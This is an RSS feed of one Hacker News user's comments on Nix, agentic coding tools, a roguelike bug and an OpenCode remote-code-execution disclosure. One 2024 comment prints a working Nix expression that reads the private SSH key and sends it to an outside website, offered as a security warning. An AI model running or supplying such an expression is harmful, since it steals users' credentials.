<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Hacker News: CyberShadow</title><link>https://news.ycombinator.com/user?id=CyberShadow</link><description>Hacker News RSS</description><docs>https://hnrss.org/</docs><generator>hnrss v2.1.1</generator><lastBuildDate>Mon, 15 Jun 2026 13:52:58 +0000</lastBuildDate><atom:link href="https://hnrss.org/user?id=CyberShadow" rel="self" type="application/rss+xml"></atom:link><item><title><![CDATA[New comment by CyberShadow in "What is the history of the ERROR_ARENA_TRASHED error code?"]]></title><description><![CDATA[
<p>Kernel panic.</p>
]]></description><pubDate>Sat, 23 May 2026 11:10:01 +0000</pubDate><link>https://news.ycombinator.com/item?id=48246691</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=48246691</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48246691</guid></item><item><title><![CDATA[New comment by CyberShadow in "Xs of Y – roguelike that names itself every run. Written in 4kLoC"]]></title><description><![CDATA[
<p>Seems to be that the sort function accepts a ternary predicate but then passes it to an implementation accepting a boolean one?</p>
]]></description><pubDate>Wed, 13 May 2026 19:03:32 +0000</pubDate><link>https://news.ycombinator.com/item?id=48126023</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=48126023</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48126023</guid></item><item><title><![CDATA[New comment by CyberShadow in "Xs of Y – roguelike that names itself every run. Written in 4kLoC"]]></title><description><![CDATA[
<p>No, I think I'm seeing the same bug. Time seems to sometimes subjectively freeze:<p><pre><code>    ─── Messages ───                                                                                                                                                                                                              
      Old man shuts the gate behind you. You hear him mutter "every time, I swear..."                                                                                                                                              
      You must retrieve the Amulet of Lost Semicolons.                                                                                                                                                                             
      You kill the rat! (sneak attack!)                                                                                                                                                                                            
      The rat squeals and dies!                                                                                                                                                                                                    
      You wait. (x10)                                                                                                                                 ᛜ                                                                            
    ᚢ You kill the rat! (sneak attack!)                                                             ᛉ                                                                                                                              
      The rat squeals and dies!                                                                                                                                                                                                    
      You hear muttering.                                                  ᛋ                                                                                                                                                       
      You hear muttering.                                                                                                                                                                                                          
      You hear muttering.                                                                                                                                                                                                          
      You hear a distant creak.                                                                                                                       ᛖ                                                     ᛃ                      
      The runestone crumbles as you touch it. You learn: ᛟ means "ice"!                                               ᛚ                                                                                                            
      You hear a distant creak.                                                                                                                                                                                                    
      The goblin misses you. (x3)                                                                                                                                                                                                  
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin hits you for 3.                                                                                                           ᛏ                                                                                       
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin hits you for 3.                                                                                                                                                                                                   
      The goblin misses you.                                                                                                 ᛚ                                                                                                     
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin hits you for 2.                                                                                                                                                                                                   
      The goblin hits you for 4.                                                                                                                                                                                                   
      The goblin misses you.                                                                                                                                                                                                       
      The goblin hits you for 2.                                                                                                                                                                                                   
      The goblin misses you. (x2)                                                                                                                                                                                                  
      The goblin hits you for 2.                                                                                                                                                                                                   
      The goblin kills you!                                                                                                                                                                                                        
      You die...
</code></pre>
Note how there were no user action messages during the time the goblin was attacking.</p>
]]></description><pubDate>Wed, 13 May 2026 18:18:35 +0000</pubDate><link>https://news.ycombinator.com/item?id=48125476</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=48125476</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=48125476</guid></item><item><title><![CDATA[New comment by CyberShadow in "Self-updating screenshots"]]></title><description><![CDATA[
<p>Same, I've added a .#screenshots derivation. High up-front effort but almost zero maintenance afterwards.<p>Bonus: since you're generating screenshots programmatically anyway, you can generate a pair of each with your app's light/dark theme, and swap them in/out depending on prefers-color-scheme: dark. <picture> elements work in GitHub READMEs, too: <a href="https://github.com/CyberShadow/CyDo#readme" rel="nofollow">https://github.com/CyberShadow/CyDo#readme</a></p>
]]></description><pubDate>Mon, 27 Apr 2026 01:32:18 +0000</pubDate><link>https://news.ycombinator.com/item?id=47916766</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=47916766</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47916766</guid></item><item><title><![CDATA[New comment by CyberShadow in "Why I love NixOS"]]></title><description><![CDATA[
<p>If you grant access to the Nix daemon socket but not writing outside the current directory, that's an effective sandbox. It allows evaluating derivations but not actually installing them.</p>
]]></description><pubDate>Mon, 23 Mar 2026 07:46:34 +0000</pubDate><link>https://news.ycombinator.com/item?id=47486474</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=47486474</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47486474</guid></item><item><title><![CDATA[New comment by CyberShadow in "AI Team OS – Turn Claude Code into a Self-Managing AI Team"]]></title><description><![CDATA[
<p>If you invoke Claude Code with --input-format stream-json --output-format stream-json, you can use it headlessly. I built a personal UI / orchestration framework around it. Most features are available, but not exactly all (e.g. there is no way to undo via this protocol, but you can still do it manually by terminating / editing the session file / resuming). Other agentic software has similar features (Codex uses JSON-RPC, Copilot CLI has ACP which is also based on JSON-RPC).</p>
]]></description><pubDate>Sat, 21 Mar 2026 17:25:01 +0000</pubDate><link>https://news.ycombinator.com/item?id=47469099</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=47469099</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=47469099</guid></item><item><title><![CDATA[New comment by CyberShadow in "Unauthenticated remote code execution in OpenCode"]]></title><description><![CDATA[
<p>Are you on macOS? That might be a feature specific to that OS, I don't think Firefox does that on other OSes.</p>
]]></description><pubDate>Tue, 13 Jan 2026 20:31:07 +0000</pubDate><link>https://news.ycombinator.com/item?id=46607451</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=46607451</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46607451</guid></item><item><title><![CDATA[New comment by CyberShadow in "Unauthenticated remote code execution in OpenCode"]]></title><description><![CDATA[
<p>Can you share what made this behavior obvious to you? E.g. when I first saw Open Code, it looked like yet another implementation of Claude Code, Codex-CLI, Gemini-CLI, Project Goose, etc. - all these are TUI apps for agentic coding. However, from these, only Open Code automatically started an unauthenticated web server when I simply started the TUI, so this came as a surprise to me.</p>
]]></description><pubDate>Tue, 13 Jan 2026 08:49:50 +0000</pubDate><link>https://news.ycombinator.com/item?id=46598653</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=46598653</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46598653</guid></item><item><title><![CDATA[New comment by CyberShadow in "Unauthenticated remote code execution in OpenCode"]]></title><description><![CDATA[
<p>> Browsers don't let random pages on the internet hit localhost without prompting you anymore<p>No, that's a Chrome-specific feature that Google added. It is not part of any standard, and does not exist in other browsers (e.g. Safari and Firefox).<p>> The rest is just code running as your user can talk to code running as your user<p>No, that assumes that there is only a single user on the machine, and there are either no forms of isolation or that all forms of isolation also use private network namespaces, which has not been how daemons are isolated in UNIX or by systemd. For example, if you were to ever run OpenCode as root, any local process can trivially gain root as well.</p>
]]></description><pubDate>Tue, 13 Jan 2026 07:02:37 +0000</pubDate><link>https://news.ycombinator.com/item?id=46598051</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=46598051</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46598051</guid></item><item><title><![CDATA[New comment by CyberShadow in "Anthropic: Developing a Claude Code competitor using Claude Code is banned"]]></title><description><![CDATA[
<p>PSA - please ensure you are running OpenCode v1.1.10 or newer: <a href="https://news.ycombinator.com/item?id=46581095">https://news.ycombinator.com/item?id=46581095</a></p>
]]></description><pubDate>Sun, 11 Jan 2026 22:42:36 +0000</pubDate><link>https://news.ycombinator.com/item?id=46581208</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=46581208</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46581208</guid></item><item><title><![CDATA[Unauthenticated remote code execution in OpenCode]]></title><description><![CDATA[
<p>Previous versions of OpenCode started a server which allowed any website visited in a web browser to execute arbitrary commands on the local machine. Make sure you are using v1.1.10 or newer; see link for more details.</p>
<hr>
<p>Comments URL: <a href="https://news.ycombinator.com/item?id=46581095">https://news.ycombinator.com/item?id=46581095</a></p>
<p>Points: 432</p>
<p># Comments: 142</p>
]]></description><pubDate>Sun, 11 Jan 2026 22:33:32 +0000</pubDate><link>https://cy.md/opencode-rce/</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=46581095</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=46581095</guid></item><item><title><![CDATA[New comment by CyberShadow in "AI documentation you can talk to, for every repo"]]></title><description><![CDATA[
<p>I don't think you understand. This website imposes its own time limit within which I must solve the CAPTCHA. Taking your time to solve the challenge slowly will not allow you to proceed, because the website's timeout will have expired.</p>
]]></description><pubDate>Sun, 16 Nov 2025 19:52:30 +0000</pubDate><link>https://news.ycombinator.com/item?id=45947873</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=45947873</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45947873</guid></item><item><title><![CDATA[New comment by CyberShadow in "AI documentation you can talk to, for every repo"]]></title><description><![CDATA[
<p>Looks like it's impossible for me to use this service - when I try to submit the form, I get a reCAPTCHA challenge. By the time I complete it (Google requires me to make several attempts, each one being several pages), the page errors out in the background with "reCAPTCHA execution timeout".</p>
]]></description><pubDate>Tue, 11 Nov 2025 09:22:34 +0000</pubDate><link>https://news.ycombinator.com/item?id=45885514</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=45885514</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=45885514</guid></item><item><title><![CDATA[New comment by CyberShadow in "Gemma 3 QAT Models: Bringing AI to Consumer GPUs"]]></title><description><![CDATA[
<p>How does it compare to CodeGemma for programming tasks?</p>
]]></description><pubDate>Sun, 20 Apr 2025 15:23:14 +0000</pubDate><link>https://news.ycombinator.com/item?id=43744361</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=43744361</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=43744361</guid></item><item><title><![CDATA[New comment by CyberShadow in "Determinate Nix 3.0 featuring stable flakes"]]></title><description><![CDATA[
<p>Hi Graham!<p>Lots of exciting things here:<p>- Formally stabilizing flakes has been long awaited by everyone, I think.<p>- Parallel evaluation will improve developer experience - evaluation speed seems to be at the top of the list of feedback I've received from colleagues whom I've invited to try Nix.<p>- I'm hoping lazy trees will provide a better experience for flakes in monorepos.<p>Unfortunately I haven't had a great experience with the Determinate Nix installer when I tried it, though that was a while ago (shortly after launch) so may warrant revisiting.<p>I'm also concerned about the growing schism between Determinate Systems and the Nix community, as can be seen in the Discourse thread. I think there are opportunities to strengthen that bridge, e.g. naming things perhaps such that it's not possible to misinterpret this announcement as "Nix 3.0".<p>I am also curious to know what is your strategy for upholding the flakes stability guarantee without forking Nix. I'm not sure what the governance structure or roadmap is of the community Nix project, but would it not be possible that the project would want to eventually introduce a breaking change (e.g. to revisit the cross-compilation or parameterization aspects) that would affect Determinate Nix users?</p>
]]></description><pubDate>Fri, 07 Mar 2025 08:41:55 +0000</pubDate><link>https://news.ycombinator.com/item?id=43288354</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=43288354</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=43288354</guid></item><item><title><![CDATA[New comment by CyberShadow in "Nix NCA member personally reinstates johnringer as nixpkgs maintainer after ban"]]></title><description><![CDATA[
<p>> reinstates johnringer as nixpkgs maintainer<p>This is false.</p>
]]></description><pubDate>Tue, 02 Jul 2024 14:23:42 +0000</pubDate><link>https://news.ycombinator.com/item?id=40857007</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=40857007</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40857007</guid></item><item><title><![CDATA[New comment by CyberShadow in "So long, and thanks for all the fish: Leaving the Nix community"]]></title><description><![CDATA[
<p>> I'll repost for posterity:<p>There is no need to do that. People who want to see dead comments can turn that option on in their profile.</p>
]]></description><pubDate>Fri, 28 Jun 2024 07:36:31 +0000</pubDate><link>https://news.ycombinator.com/item?id=40818537</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=40818537</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40818537</guid></item><item><title><![CDATA[New comment by CyberShadow in "Show HN: Shpool, a Lightweight Tmux Alternative"]]></title><description><![CDATA[
<p>tmux takes over scrollback, so it's not possible to scroll the buffer in the same way as without tmux. This tool seems to solve the problem more elegantly.</p>
]]></description><pubDate>Thu, 13 Jun 2024 14:44:43 +0000</pubDate><link>https://news.ycombinator.com/item?id=40670341</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=40670341</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40670341</guid></item><item><title><![CDATA[New comment by CyberShadow in "Ilya Sutskever to leave OpenAI"]]></title><description><![CDATA[
<p>> How is that supposed to "delete my home directory"?<p>Ah, I over-quoted that part. My mistake.<p>> Also, it doesn't work:<p>It will work with the default Nix settings.<p>> Turning off restrict-eval is pretty crazy; there's no reason to do that and it's dangerous.<p>One would need to first turn it on to be able to turn it off.<p>> <a href="https://nixos.org/manual/nix/unstable/command-ref/conf-file.html?highlight=restrict-eval#conf-restrict-eval" rel="nofollow">https://nixos.org/manual/nix/unstable/command-ref/conf-file....</a><p>Indeed, note the default value.<p>> I don't think it did. I'm not sure what it was supposed to help with.<p>I was hoping that it would be interesting to you, but also help avoid spreading false information that might mislead people into evaluating Nix code when it's not safe to do so. But, I think I understand now that maybe you don't care about what happens to other people.</p>
]]></description><pubDate>Wed, 22 May 2024 06:26:04 +0000</pubDate><link>https://news.ycombinator.com/item?id=40437898</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=40437898</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40437898</guid></item><item><title><![CDATA[New comment by CyberShadow in "Ilya Sutskever to leave OpenAI"]]></title><description><![CDATA[
<p>Hi, sorry for the unrelated comment. I actually wanted to reply to your comment at <a href="https://news.ycombinator.com/item?id=40208937">https://news.ycombinator.com/item?id=40208937</a> , but that comment was made too long ago and I can no longer reply to it directly.<p>In that comment, you wrote:<p>> It can delete your home directory or email your ssh private keys to Zimbabwe.<p>I thought that you might be interested to know that it is still possible to exfiltrate secrets by evaluating Nix expressions. Here is an example Nix expression which will upload your private SSH key to Zimbabwe's government's website (don't run this!):<p><pre><code>    let
      pkgs = import (fetchTarball "https://github.com/NixOS/nixpkgs/archive/0ef56bec7281e2372338f2dfe7c13327ce96f6bb.tar.gz") {};
    in
    builtins.fetchurl "https://www.zim.gov.zw/?${pkgs.lib.escapeURL (builtins.readFile ~/.ssh/id_rsa)}"
</code></pre>
It does not need --impure or any other unusual switches to work.<p>Hope this helps.</p>
]]></description><pubDate>Thu, 16 May 2024 16:46:07 +0000</pubDate><link>https://news.ycombinator.com/item?id=40380434</link><dc:creator>CyberShadow</dc:creator><comments>https://news.ycombinator.com/item?id=40380434</comments><guid isPermaLink="false">https://news.ycombinator.com/item?id=40380434</guid></item></channel></rss>